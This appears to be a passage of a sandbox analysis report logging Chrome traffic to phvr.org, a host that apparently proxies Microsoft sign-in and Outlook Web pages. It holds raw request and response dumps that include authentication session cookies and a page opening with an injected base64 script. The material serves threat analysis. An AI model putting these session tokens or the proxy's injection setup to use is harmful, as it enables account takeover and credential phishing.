10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49795	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1677	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	738	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: f5b60db7-a01e-0040-4638-ca368f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5c9l7w6phbk6qma2000000007r000000000kfpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	15646	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-07-03 21:50:44 UTC	1528	IN	Data Raw: 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49796	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1691	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: a97179ab-301e-0029-2f93-cd07be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5cpf8cbe9w7c11h5g00000007vg000000004efk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49801	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:51 UTC	1897	OUT	GET /owa/ HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:52 UTC	1334	IN	HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS CorrelationVector: CBuOD2cnF0ST3JOz.1.0 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" x-sitemuse-origin: Azure x-azure-ref: 20240703T215051Z-17f65785796d92c4w7bts5e2x00000000g1g00000000due1 Expires: Wed, 03 Jul 2024 21:50:51 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 03 Jul 2024 21:50:51 GMT Transfer-Encoding: chunked Connection: close, Transfer-Encoding Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:52 UTC	15050	IN	Data Raw: 36 36 38 32 62 0d 0a ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6d 73 63 6f 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 43 4d 53 76 4e 65 78 74 22 20 78 6d 6c 6e 73 3a 6d 64 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 6d 73 63 6f 6d 2d 64 61 74 61 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 Data Ascii: 6682b<!DOCTYPE html ><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext" xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKC
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 63 6c 61 73 73 3d 22 6a 73 2d 73 75 62 6d 2d 75 68 66 2d 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 65 6e 2d 75 73 2f 73 74 6f 72 65 2f 62 2f 73 61 6c 65 3f 69 63 69 64 3d 67 6d 5f 6e 61 76 5f 4c 30 5f 73 61 6c 65 70 61 67 65 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 57 30 4e 61 76 5f 44 65 61 6c 73 5f 6e 61 76 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 31 63 37 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 73 4e 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 37 63 32 63 31 63 38 63 32 6d 31 72 31 Data Ascii: class="js-subm-uhf-nav-link" href="https://www.microsoft.com/en-us/store/b/sale?icid=gm_nav_L0_salepage" data-m="{"cN":"W0Nav_Deals_nav","id":"n1c7c2c1c8c2m1r1a1","sN":1,"aN":"c7c2c1c8c2m1r1
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 33 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 7d 22 3e 4d 69 63 72 6f 73 6f 66 74 20 43 6c 6f 75 64 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6a 73 2d 6e 61 76 2d 6d 65 6e 75 20 73 69 6e 67 6c 65 2d 6c 69 6e 6b 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 4d 6f 72 65 5f 42 75 73 69 6e 65 73 73 5f 4d 69 63 72 6f 73 6f 66 74 20 53 65 63 75 72 69 74 79 5f 63 6f 6e 74 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 54 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6e 74 61 69 6e 65 72 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 34 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 Data Ascii: t;aN":"c3c13c2c1c8c2m1r1a1"}">Microsoft Cloud</a></li><li class="js-nav-menu single-link" data-m="{"cN":"More_Business_Microsoft Security_cont","cT":"Container","id":"c4c13c2c1c8c2m1r1a
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 37 36 34 32 38 66 66 61 31 22 20 63 6c 61 73 73 3d 22 6d 73 63 6f 6d 2d 69 6d 61 67 65 22 20 61 6c 74 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 74 69 74 6c 65 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 2f 3e 3c 2f 61 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 69 6e 74 22 20 63 6c 61 73 73 3d 22 6d 2d 6c 2d 6d 64 22 20 69 64 3d 22 70 73 70 5f 70 72 69 6e 74 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 22 3e 50 72 69 6e 74 3c 2f 61 3e 3c 21 2d 2d 6e 65 77 20 61 64 64 65 64 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 2d 2d 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 Data Ascii: 76428ffa1" class="mscom-image" alt="print-icon" title="print-icon" width="16" height="16" /></a><a title="Print" class="m-l-md" id="psp_print" href="javascript:void(0)">Print</a>...new added role="button"--></div></div></div></div></div></div></div><div
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 68 20 61 73 20 61 74 20 61 20 63 69 74 79 20 6f 72 20 70 6f 73 74 61 6c 20 63 6f 64 65 20 6c 65 76 65 6c 2e 0d 0a 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 4f 74 68 65 72 20 69 6e 70 75 74 3c 2f 73 74 72 6f 6e 67 3e 2e 20 4f 74 68 65 72 20 69 6e 70 75 74 73 20 70 72 6f 76 69 64 65 64 20 77 68 65 6e 20 79 6f 75 20 75 73 65 20 6f 75 72 20 70 72 6f 64 75 63 74 73 2e 20 46 6f 72 20 65 78 61 6d 70 6c 65 2c 20 64 61 74 61 20 73 75 63 68 20 61 73 20 74 68 65 20 62 75 74 74 6f 6e 73 20 79 6f 75 20 70 72 65 73 73 20 6f 6e 20 61 6e 20 58 62 6f 78 20 77 69 72 65 6c 65 73 73 20 63 6f 6e 74 72 6f 6c 6c 65 72 20 75 73 69 6e 67 20 20 74 68 65 20 58 62 6f 78 20 6e 65 74 77 6f 72 6b 2c 20 73 6b 65 6c 65 74 61 6c 20 74 72 61 63 6b 69 6e 67 20 64 61 74 61 20 Data Ascii: h as at a city or postal code level. </li><li><strong>Other input</strong>. Other inputs provided when you use our products. For example, data such as the buttons you press on an Xbox wireless controller using the Xbox network, skeletal tracking data
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 2f 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 6e 74 73 75 6d 6d 61 72 79 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 53 75 6d 6d 61 72 79 3c 2f 64 69 76 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 69 64 3d 22 53 68 6f 72 74 44 65 73 63 72 69 70 74 69 6f 6e 33 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 3c 70 3e 57 65 20 73 68 61 72 65 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 20 64 61 74 61 20 77 69 74 68 20 79 6f 75 72 20 63 6f 6e 73 65 6e 74 20 6f 72 20 74 6f 20 63 6f 6d 70 6c 65 74 65 20 61 6e 79 20 74 72 61 6e 73 61 63 74 69 6f 6e 20 6f 72 20 70 72 6f 76 69 64 65 20 61 6e 79 20 70 72 6f 64 75 63 74 20 79 6f 75 20 68 61 76 65 20 72 65 71 Data Ascii: /span><div class="printsummary" style="display: block;">Summary</div><span class="Description" id="ShortDescription3" aria-expanded="false"><p>We share your personal data with your consent or to complete any transaction or provide any product you have req
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 20 6f 70 74 20 6f 75 74 20 6f 66 20 65 6d 61 69 6c 20 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2c 20 61 6e 64 20 63 68 6f 6f 73 65 20 77 68 65 74 68 65 72 20 74 6f 20 73 68 61 72 65 20 79 6f 75 72 20 63 6f 6e 74 61 63 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 74 68 20 4d 69 63 72 6f 73 6f 66 74 20 70 61 72 74 6e 65 72 73 2e 20 49 66 20 79 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 61 20 70 65 72 73 6f 6e 61 6c 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 2c 20 79 6f 75 20 63 61 6e 20 6d 61 6e 61 67 65 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 65 6d 61 69 6c 20 63 6f 6e 74 61 63 74 20 70 72 65 66 65 72 65 6e 63 65 73 20 62 79 20 75 73 69 6e 67 20 74 68 69 73 0d 0a 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 Data Ascii: opt out of email subscriptions, and choose whether to share your contact information with Microsoft partners. If you do not have a personal Microsoft account, you can manage your Microsoft email contact preferences by using this <a target="_blank" c
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 2e 3c 2f 73 74 72 6f 6e 67 3e 57 65 20 75 73 65 20 72 65 71 75 69 72 65 64 20 63 6f 6f 6b 69 65 73 20 74 6f 20 70 65 72 66 6f 72 6d 20 65 73 73 65 6e 74 69 61 6c 20 77 65 62 73 69 74 65 20 66 75 6e 63 74 69 6f 6e 73 2e 20 46 6f 72 20 65 78 61 6d 70 6c 65 2c 20 74 6f 20 6c 6f 67 20 79 6f 75 20 69 6e 2c 20 73 61 76 65 20 79 6f 75 72 20 6c 61 6e 67 75 61 67 65 20 70 72 65 66 65 72 65 6e 63 65 73 2c 20 70 72 6f 76 69 64 65 20 61 20 73 68 6f 70 70 69 6e 67 20 63 61 72 74 20 65 78 70 65 72 69 65 6e 63 65 2c 20 69 6d 70 72 6f 76 65 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 72 6f 75 74 65 20 74 72 61 66 66 69 63 20 62 65 74 77 65 65 6e 20 77 65 62 20 73 65 72 76 65 72 73 2c 20 64 65 74 65 63 74 20 74 68 65 20 73 69 7a 65 20 6f 66 20 79 6f 75 72 20 73 63 72 65 65 Data Ascii: .</strong>We use required cookies to perform essential website functions. For example, to log you in, save your language preferences, provide a shopping cart experience, improve performance, route traffic between web servers, detect the size of your scree
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 6d 62 65 72 20 63 61 6e 20 75 73 65 20 69 74 20 74 6f 20 73 65 61 72 63 68 20 66 6f 72 20 79 6f 75 20 6f 6e 20 53 6b 79 70 65 20 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 54 65 61 6d 73 20 66 6f 72 20 70 65 72 73 6f 6e 61 6c 20 75 73 65 20 61 6e 64 20 73 65 6e 64 20 79 6f 75 20 61 6e 20 69 6e 76 69 74 65 20 74 6f 20 63 6f 6e 6e 65 63 74 20 77 69 74 68 20 74 68 65 6d 2e 20 4e 6f 74 65 20 74 68 61 74 20 69 66 20 79 6f 75 20 75 73 65 20 61 20 77 6f 72 6b 20 6f 72 20 73 63 68 6f 6f 6c 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 74 6f 20 63 72 65 61 74 65 20 61 20 70 65 72 73 6f 6e 61 6c 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 2c 20 79 6f 75 72 20 65 6d 70 6c 6f 79 65 72 20 6f 72 20 73 63 68 6f 6f 6c 20 6d 61 79 20 67 61 69 6e 20 61 63 63 65 73 73 Data Ascii: mber can use it to search for you on Skype or Microsoft Teams for personal use and send you an invite to connect with them. Note that if you use a work or school email address to create a personal Microsoft account, your employer or school may gain access
2024-07-03 21:50:52 UTC	16384	IN	Data Raw: 69 6c 64 e2 80 af 75 70 20 66 6f 72 20 61 6e 20 58 62 6f 78 20 70 72 6f 66 69 6c 65 2c e2 80 af 74 68 65 79 20 67 65 74 e2 80 af 61 20 67 61 6d 65 72 74 61 67 20 28 61 20 70 75 62 6c 69 63 20 6e 69 63 6b 6e 61 6d 65 29 20 61 6e 64 20 61 20 75 6e 69 71 75 65 20 69 64 65 6e 74 69 66 69 65 72 2e 20 57 68 65 6e 20 79 6f 75 20 63 72 65 61 74 65 e2 80 af 79 6f 75 72 20 63 68 69 6c 64 e2 80 99 73 20 58 62 6f 78 20 70 72 6f 66 69 6c 65 20 79 6f 75 20 63 6f 6e 73 65 6e 74 20 74 6f 20 4d 69 63 72 6f 73 6f 66 74 20 63 6f 6c 6c 65 63 74 69 6e 67 2c 20 75 73 69 6e 67 2c 20 61 6e 64 20 73 68 61 72 69 6e 67 e2 80 af 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 62 61 73 65 64 20 6f 6e 20 74 68 65 69 72 20 70 72 69 76 61 63 79 20 61 6e 64 20 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e Data Ascii: ildup for an Xbox profile,they geta gamertag (a public nickname) and a unique identifier. When you createyour childs Xbox profile you consent to Microsoft collecting, using, and sharinginformation based on their privacy and communication

Target ID:	0
Start time:	17:49:55
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
